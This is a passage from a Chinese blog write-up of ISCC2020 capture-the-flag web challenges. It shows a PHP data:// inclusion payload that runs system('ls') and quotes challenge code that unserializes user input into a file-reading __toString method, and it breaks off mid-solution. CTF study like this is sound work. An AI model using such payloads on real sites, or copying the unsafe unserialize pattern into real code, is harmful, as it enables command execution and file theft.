ISCC2020-Web题解

最新推荐文章于 2022-06-05 22:41:02 发布

lemonl1

最新推荐文章于 2022-06-05 22:41:02 发布

阅读量2.2k

点赞数 1

分类专栏： CTF_Writeup 文章标签：信息安全

本文链接：https://blog.csdn.net/qq_43431158/article/details/106160356

版权

本文详细解析了ISCC2020网络安全竞赛中的Web题目，包括PHP伪协议利用、反序列化漏洞、时间盲注解题过程、加密算法解密以及文件上传与包含、SQL注入和命令执行等技术细节。

摘要由CSDN通过智能技术生成

前言：

Where is file?-1

——php伪协议
在这里插入图片描述
考察的是php伪协议，可以使用data协议来进行读取

?file=data:text/plain,<?echo system('ls')?>

阿森的爱情-1

——签到

扫描一下出一个文件，里面就有flag

Php is the best language

——PHP反序列化、to_string魔法函数的调用

<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
   
    public $file;
    function __toString()      
    {
   
        if(isset($this->file))
        {
   
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
   
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
   
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
   
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
   
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}
?>

代码很简单，就是__toString的调用

<?php  
class baby 
{
   
    public $file;
    function __toString()      
    {
   
        if(isset($this->file))
        {
   
            $filename = "./{$this->file}";
            if